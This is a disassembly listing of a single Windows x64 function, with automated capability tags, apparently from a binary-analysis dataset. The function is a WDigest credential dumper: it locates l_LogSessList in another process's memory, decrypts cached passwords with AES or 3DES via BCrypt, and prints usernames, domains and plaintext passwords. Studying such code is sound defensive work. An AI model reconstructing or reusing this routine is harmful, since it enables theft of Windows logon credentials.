Function at 0x140002740
Capabilities:
Encrypt or decrypt data via bcrypt
Get hostname

Disassembly:
push rbp
push rsi
push rdi
push r14
lea rbp, [rsp - 0x658]
sub rsp, 0x758
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x630], rax
mov r14, rcx
mov qword [rsp + 0x50], rcx
lea rcx, str.wdigest.dll
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14000279a
lea rcx, str._x__Error:_Could_not_load_wdigest.dll_into_local_process_n
call fcn.140001010
lea eax, [rdi + 1]
jmp 0x140002eb2
mov rdx, rdi
mov qword [rsp + 0x790], rbx
lea rcx, str.___Loaded_wdigest.dll_at_address__p_n
call fcn.140001010
mov eax, dword [0x14002cc40]
xor ebx, ebx
movzx r8d, byte [0x14002cc41]
mov rdx, rdi
cmp byte [rdx], al
jne 0x1400027d6
cmp byte [rdx + 1], r8b
jne 0x1400027d6
movsxd rcx, ebx
cmp dword [rcx + rdi], eax
je 0x1400027f9
inc ebx
inc rdx
cmp ebx, 0x200000
jl 0x1400027c4
lea rcx, str._x__Error:_Could_not_find_l_LogSessList_signature_n
call fcn.140001010
mov eax, 1
jmp 0x140002eaa
test ebx, ebx
je 0x1400027e3
mov edx, ebx
lea rcx, str.___l_LogSessList_offset_found_as__d_n
call fcn.140001010
xor eax, eax
mov qword [rbp - 0x20], 0
mov dword [rsp + 0x58], eax
lea rdx, [rsi - 4]
lea rax, [rbp - 0x20]
add rdx, rbx
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [rsp + 0x58]
lea r8, [rsp + 0x60]
xor eax, eax
add rdx, rbx
add rdx, rsi
mov qword [rsp + 0x60], rax
xor esi, esi
lea rax, [rbp - 0x20]
mov rcx, r14
mov qword [rbp - 0x20], rsi
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rsp + 0x60]
lea rcx, str.___l_LogSessList_found_at_address__p_n
call fcn.140001010
lea rcx, str.___Credentials_incoming...__hopefully__n_n
call fcn.140001010
mov rdx, qword [rsp + 0x60]
lea r9d, [rsi + 0x58]
xorps xmm0, xmm0
mov qword [rbp - 0x20], rsi
xor eax, eax
lea r8, [rbp - 0x80]
mov qword [rbp - 0x30], rax
mov rcx, r14
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x68]
mov qword [rsp + 0x750], r12
mov qword [rsp + 0x748], r13
mov qword [rsp + 0x740], r15
nop dword [rax + rax]
xorps xmm0, xmm0
mov qword [rbp + 0x18], rsi
xor eax, eax
lea r8, [rbp - 0x80]
mov qword [rbp - 0x30], rax
mov r9d, 0x58
lea rax, [rbp + 0x18]
mov rdx, rbx
mov rcx, r14
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [rbp - 0x70], 1
jne 0x140002e81
lea rdx, [rbx + 0x30]
mov rcx, r14
call fcn.140002560
lea rdx, [rbx + 0x40]
mov rcx, r14
mov r13, rax
call fcn.140002560
lea rdx, [rbx + 0x50]
mov rcx, r14
mov r15, rax
call fcn.140002560
mov ecx, 0x3e8
mov r12, rax
call fcn.14000d718
xor edx, edx
mov r8d, 0x3e8
mov rcx, rax
mov rbx, rax
call fcn.14001d960
movzx ecx, word [r12]
test cx, cx
je 0x140002bff
cmp cx, 0x40
ja 0x140002bff
lea rcx, [rbp + 0x10]
call fcn.14000cf2c
lea rcx, [rbp + 0x10]
call fcn.14000d2a0
mov rcx, rax
call fcn.14000a038
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rbx + rcx], 0
jne 0x1400029c0
add rcx, rbx
lea rdx, [0x140027c94]
mov r8, rax
call fcn.140001070
lea rdx, [rbp + 0x18]
mov dword [rbp + 0x18], 0x100
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0x30]
mov qword [rsp + 0x30], rsi
mov r9d, 0xffffffff
mov dword [rsp + 0x28], esi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.1400034e4
mov rsi, rax
lea r8, [rbp + 0x30]
xor eax, eax
xor edx, edx
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
lea r9d, [rax - 1]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140002a53
add rcx, rbx
lea rdx, str.______ComputName:__s_n
mov r8, rsi
call fcn.140001070
test r13, r13
je 0x140002bde
cmp word [r13], 0
je 0x140002bde
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140002a90
mov r8, qword [r13 + 8]
lea rdx, str.______Username:__ls_n
add rcx, rbx
call fcn.140001070
test r15, r15
je 0x140002adc
cmp word [r15], 0
je 0x140002adc
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140002ac0
mov r8, qword [r15 + 8]
lea rdx, str.______Doman:__ls_n
add rcx, rbx
call fcn.140001070
movups xmm0, xmmword [0x14002e048]
movzx edi, word [r12 + 2]
xor r9d, r9d
mov rsi, qword [r12 + 8]
xor r8d, r8d
movups xmmword [rbp + 0x18], xmm0
test dil, 7
je 0x140002c60
lea rdx, [0x140027920]
lea rcx, [rsp + 0x68]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
mov rcx, qword [rsp + 0x68]
lea r8, str.ChainingModeCFB
mov r9d, 0x20
mov dword [rsp + 0x20], 0
lea rdx, str.ChainingMode
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
mov rcx, qword [rsp + 0x68]
lea rax, [0x14002e058]
mov dword [rsp + 0x30], 0
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x10
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x48], 0
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov r8d, edi
mov dword [rsp + 0x38], 0x400
lea rax, [rbp + 0x230]
mov qword [rsp + 0x30], rax
mov rdx, rsi
lea rax, [rbp + 0x18]
mov dword [rsp + 0x28], 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
je 0x140002d1a
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140002bc6
add rcx, rbx
lea rdx, [0x140027cf4]
call fcn.140001070
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140002be5
add rcx, rbx
lea rdx, [0x140027cf4]
call fcn.140001070
xor esi, esi
xorps xmm0, xmm0
mov qword [rbp], rsi
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp + 8], rsi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], 0
jne 0x140002c15
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140002ed4
mov qword [rbp + 8], 0xf
cmp rdi, 0xf
ja 0x140002d57
mov r8, rdi
mov qword [rbp], rdi
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.14001dd20
mov byte [rbp + rdi - 0x10], 0
jmp 0x140002dee
lea rdx, str.3DES
lea rcx, [rbp - 0x20]
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
mov rcx, qword [rbp - 0x20]
lea r8, str.ChainingModeCBC
mov r9d, 0x20
mov dword [rsp + 0x20], 0
lea rdx, str.ChainingMode
call qword [sym.imp.bcrypt.dll_BCryptSetProperty]
mov rcx, qword [rbp - 0x20]
lea rax, [0x14002e030]
mov dword [rsp + 0x30], 0
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x28], 0x18
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
mov rcx, qword [rsp + 0x78]
lea rax, [rbp - 0x18]
mov dword [rsp + 0x48], 0
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov r8d, edi
mov dword [rsp + 0x38], 0x400
lea rax, [rbp + 0x230]
mov qword [rsp + 0x30], rax
mov rdx, rsi
lea rax, [rbp + 0x18]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x140002bbf
cmp dword [rbp - 0x18], 0
jbe 0x140002bbf
lea rcx, [rbp + 0x230]
call fcn.140002650
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140002d37
add rcx, rbx
lea rdx, str.______Password:__s_n
mov r8, rax
call fcn.140001070
jmp 0x140002bde
mov r14, rdi
or r14, 0xf
cmp r14, rax
jbe 0x140002d76
mov r14, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140002d9d
cmp r14, 0x16
mov eax, 0x16
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140002dbc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002eda
mov rcx, rax
call fcn.1400034a8
test rax, rax
je 0x140002ece
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002dc9
test rcx, rcx
je 0x140002dc9
call fcn.1400034a8
mov rsi, rax
mov r8, rdi
mov qword [rbp - 0x10], rsi
mov rdx, rbx
mov qword [rbp], rdi
mov rcx, rsi
mov qword [rbp + 8], r14
call fcn.14001dd20
mov r14, qword [rsp + 0x50]
mov byte [rsi + rdi], 0
xor esi, esi
cmp qword [rbp + 8], 0xf
lea rdx, [rbp - 0x10]
lea rcx, [0x140027cf8]
cmova rdx, qword [rbp - 0x10]
call fcn.140001010
mov rcx, rbx
call fcn.14000d2e8
mov rcx, qword [r13 + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140002e81
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e7c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ece
call fcn.1400034a0
mov rbx, qword [rbp - 0x80]
cmp rbx, qword [rsp + 0x60]
jne 0x1400028f0
mov r13, qword [rsp + 0x748]
xor eax, eax
mov r12, qword [rsp + 0x750]
mov r15, qword [rsp + 0x740]
mov rbx, qword [rsp + 0x790]
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.140003480
add rsp, 0x758
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000d6a0
int3
call fcn.140001270
int3
call fcn.1400011d0
int3